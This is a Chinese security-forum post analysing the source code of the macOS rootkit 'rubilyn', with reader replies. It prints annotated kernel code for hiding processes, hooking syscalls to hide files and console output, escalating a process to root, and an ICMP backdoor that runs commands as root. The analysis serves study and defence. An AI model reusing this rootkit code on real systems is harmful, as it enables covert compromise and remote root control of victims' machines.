首页
社区
课程
招聘
[原创]MacOSX rootkit rubilyn 源码分析
发表于: 2013-1-3 21:56 12515

[原创]MacOSX rootkit rubilyn 源码分析

2013-1-3 21:56
12515

【标题】:MacOSX rootkit rubilyn 源码分析
【作者】:riusksk
【博客】:http://riusksk.blogbus.com
【微博】:http://t.qq.com/riusksk
【日期】:2013-01-01

1、隐藏进程

在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
    struct proc* p;
    if(pid!=0){
        // lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
        for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
        {
            if(pid == p->p_pid)
            {
                if(hidden_p_count < MAX_HIDDEN_PROCESS)
                {
                    hidden_p[hidden_p_count]=p;
                    hidden_p_count++;   
                    my_proc_list_lock();
                    LIST_REMOVE(p, p_list);         // 移除p_list结构中关于p进程的元素
                    my_proc_list_unlock();
                }
            }
        }
    }
    return 0;
}

2、隐藏文件

为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:

下面是 calltrace.d 脚本内容:

riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d
pid$target:::entry
{
   ;
}
pid$target:::return
{
   printf("=%d\n", arg1);
}

下面是查看finder进程2841的调用函数:

riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

  2 1078881          getdirentriesattr:entry
  2 1363229         getdirentriesattr:return =1
……

下面是ls命令(64位系统)调用的函数:

riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
  2 271609          __getdirentries64:entry
  2 285894         __getdirentries64:return =1980
  2 271609          __getdirentries64:entry
  2 285894         __getdirentries64:return =0

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

struct sysent { /* system call table */
                int16_t sy_narg; /* number of args */
                int8_t sy_resv; /* reserved */
                int8_t sy_flags; /* flags */
                sy_call_t *sy_call; /* implementing function */
                sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
                sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
                int32_t sy_return_type; /* system call return types */
                uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
        };

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define        SYS_getdirentries  196
#define        SYS_getdirentriesattr 222
#define        SYS_getdirentries64 344

下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64  和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

        if(nsysent){
            table = find_sysent();
            if(table){
                /* back up original syscall pointers */   
                org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call;         // 保存原系统函数地址
                org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
                /* replace syscalls in syscall table */
                table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64;        // 替换原系统函数
                table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

struct dirent {
        __uint32_t d_fileno;         // 节点号
        __uint16_t d_reclen;        // 目录项长度
        __uint8_t  d_type;        // 文件类型
        __uint8_t  d_namlen;        // 文件名
   #if __BSD_VISIBLE
   #define MAXNAMLEN 255
        char d_name[MAXNAMLEN+1]; // 文件名
   #else
        char d_name[255+1];        // 文件名
   #endif
}

此处我们只看下 new_getdirentries64 函数,

/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
    int ret;
    u_int64_t bcount = 0;
    u_int64_t btot = 0;
    size_t buffersize = 0;
    struct direntry *dirp;
    void *mem = NULL;
    int updated = 0;
    ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
    btot = buffersize = bcount = *retval;    // 函数返回的字节数
    if(bcount > 0)
    {
        MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK);  // 在内核空间分配bcount大小的内存
        if(mem == NULL)
            return(ret);
        copyin(uap->buf, mem, bcount);  // 将用户空间数据拷贝到刚分配的内核空间
        dirp = mem;
        while(bcount > 0 && dirp->d_reclen > 0)
        {
            if(dirp->d_reclen > 7)
                // 搜索指定文件名
                if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
                {
                    char *next = (char *) dirp + dirp->d_reclen;    // 下一目录项
                    u_int64_t offset = (char *) next - (char *) mem ;        // 当前文件目录项大小
                    bcount -= dirp->d_reclen;   // 递减字节数
                    btot -= dirp->d_reclen;     // 递减目录项长度
                    bcopy(next,dirp,buffersize - offset);   // 覆盖指定文件的目录项,从而实现文件隐藏
                    updated = 1;
                    continue;
                }
            bcount -= dirp->d_reclen;
            dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
        }
        if(updated == 1)
        {
            copyout(mem,uap->buf,btot);     // 将修改后的数据返回给用户空间
            *retval = btot;
        }
        FREE(mem,M_TEMP);   // 释放内核内存
    }
    return ret;
}

3、设置Root进程

先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

static int getroot(int pid)
{
    struct proc *rootpid;
    kauth_cred_t creds;
    rootpid = proc_find(pid);
    if(!rootpid)
        return 0;
    lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock);    // 设置互斥锁
    creds = rootpid->p_ucred;   // 进程属主
    creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
    rootpid->p_ucred = creds;
    lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock);  // 解锁
    return 0;
}

4、隐藏网络端口、用户名和内核模块

通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
    char buffer[MAXBUFFER];
    if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
       strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, rubilyn))       
            return(uap->nbyte);
    }
    if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, (char*)&k_port))       
            return(uap->nbyte);
        }
        if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
    {
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, (char*)&k_user))       
            return(uap->nbyte);
    }
    return org_write_nocancel(p,uap,retval);
}

5、设置ICMP 后门

首先添加IPv4过滤器ip_filter_ipv4:

/* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下:

static struct ipf_filter ip_filter_ipv4 = {
        .name                = "rubilyn",
        .ipf_input        = ipf_input,
        .ipf_output        = ipf_output,
        .ipf_detach        = ipf_detach,
};

当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e"  // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

ipf_input主要处理传给用户的数据:

static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
    char buf[IP_BUF_SIZE];
    struct icmp *icmp;
    if (!(data && *data))
                return 0;
        if (protocol != IPPROTO_ICMP)
                return 0;
    mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
    icmp = (struct icmp *)&buf;
    // 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令
    if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
    {
        my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
    }
    return 0;
}

rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 6
支持
分享
最新回复 (14)
雪    币: 2307
活跃值: (1013)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
泉哥各种跨平台啊~顶
2013-1-4 00:34
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
3
初学者而已,呵呵……

PS:发在病毒版块的帖子怎么不会出现在论坛新帖里面?
2013-1-4 09:46
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
4
步子跨大了容易。。。。 哈哈
求两位高富帅资助点啊,才砸锅卖铁弄了台Android
2013-1-4 09:49
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
5
一部android一百块就可以买到啊,搞个测试机而已嘛
2013-1-4 10:47
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
6
mac,mac,mac,mac,mac......
2013-1-4 15:54
0
雪    币: 253
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
没兴趣,因为MAC市场占有率的确不高,而笔者这样的在MAC上已经算大牛了,还没完全隐藏,这样的就不想去研究了。只能说,大家可能兴趣都不大。
2013-1-4 21:50
0
雪    币: 822
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
8
顶泉哥,Mac上的病毒也慢慢开始多起来了。话说只hook $NoCancel系列函数的话不够完善啊,还有$Unix2003系列的,等等
2013-1-4 22:00
0
雪    币: 149
活跃值: (171)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
mac上的rootkit,顶一下。
2013-1-4 22:33
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
10
还有很多可以绕过的,进程监控和网络监控,还有很多地方没挂钩过滤,其它端口和模块隐藏,也并没有对tcbinfo.listhead 和 modules 链表信息处理。目前网上没几个公开的mac rootkit,如果各位有的话,麻烦也分享下,有源码更好。
2013-1-5 00:25
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
11
好文章,顶泉哥。

陈兄对各OS平台都有深入的了解。期待陈兄爆些更猛的。
2013-1-5 02:53
0
雪    币: 107
活跃值: (404)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
偶是来膜拜泉哥的...

学习了..谢谢分享...
2013-1-5 05:57
0
雪    币: 2194
活跃值: (1001)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
好吧  最近确实有大批黑阔盯上mac了
2013-1-5 09:15
0
雪    币: 97697
活跃值: (200829)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
14
Thanks for share.
2013-1-6 01:43
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
15
mac都搞上了,泉哥
2013-1-7 00:13
0
游客
登录 | 注册 方可回帖
返回
//